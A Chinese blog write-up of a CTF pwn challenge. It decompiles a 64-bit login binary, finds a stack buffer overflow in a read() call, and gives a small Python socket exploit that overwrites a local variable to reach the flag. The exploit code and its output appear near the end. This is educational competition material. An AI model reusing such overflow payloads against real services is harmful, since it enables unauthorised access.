

一道ctf pwn 的思路以及解法

原创

taotiaolong99234 于 2015-06-23 22:10:28 发布 12331 收藏 3

分类专栏: [ctf](#) 文章标签: [ctf pwn](#)

版权声明: 本文为博主原创文章, 遵循 [CC 4.0 BY-SA](#) 版权协议, 转载请附上原文出处链接和本声明。

本文链接: <https://blog.csdn.net/taotiaolong99234/article/details/46610925>

版权



[ctf 专栏收录该内容](#)

4 篇文章 0 订阅

订阅专栏

一道ctf pwn 的思路以及解法

-----TTL

前几天参加选拔, 第一道pwn最后时候也没做出来, 后来问了一下糖果, 原来是脚本写错了。也怪前面的那到逆向re2。。就剩10分钟了, 找到了pwn的漏洞, poc写错了。现在写一个writeup, 记录一下。

这倒pwn是linux的, 是64位的。当时我的kali是32位, 一直没有运行, 所以很多东西我都是猜的。不过回来就换了64的。把程序下载下来, 放到kali中, 运行一下。

```
root@ANGTIANLONG: /home/tangtianlong#
root@ANGTIANLONG: /home/tangtianlong# ./pwn0
Welcome to XDSEC's login system!
Please input your name and I will check it!
Show me : jflaskdjf
Who are you?
```

看到了一些重要的字符串, IDA逆向一下, 看了几个函数, 找到了重要位置。

```
int sub_4006D8()
{
    int result; // eax@1
    char s2[8]; // [sp+0h] [bp-60h]@1
    char buf; // [sp+10h] [bp-50h]@1
    int v3; // [sp+5Ch] [bp-4h]@1

    v3 = 0;
    strcpy(s2, "bigtang");
    write(1, "Show me :", 9uLL);
    read(0, &buf, 0x64uLL);
    result = strncmp(&buf, s2, 7uLL);
    if ( result )
    {
        result = write(1, "Who are you?\n", 0xDuLL);
    }
    else if ( v3 == 0x61626364 )
    {
        result = sub_40067E();
    }
    return result;
}
```

逆向分析一下，s2位bigtang字符串，然后将s2赋值给buf，利用buf去覆盖v3，使之变成0x61626364.这个漏洞很好找，接下来就是计算字符串的个数，来覆盖v3. $0x50-0x4=76d$ 。所以写poc。

```
pwn0.py pwn00.py x
1 #coding=utf-8
2 import socket
3 s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
4
5 s.connect(('192.168.1.1',23333))
6
7 send_str="bigtang"+"1"*69 + "dcba"
8
9
10 print s.recv(1024)
11 s.send(send_str)
12 print s.recv(1024)
13
14 s.close()
15 http://blog.csdn.net/tiaotiaolong99234
16
```

```
Welcome to XDSEC's login system!
[NULL]Please input your name and I will check it!
Show me :
key is 91c96cafbe59b36fec8bf48fe4df709
[Finished in 0.2s]
```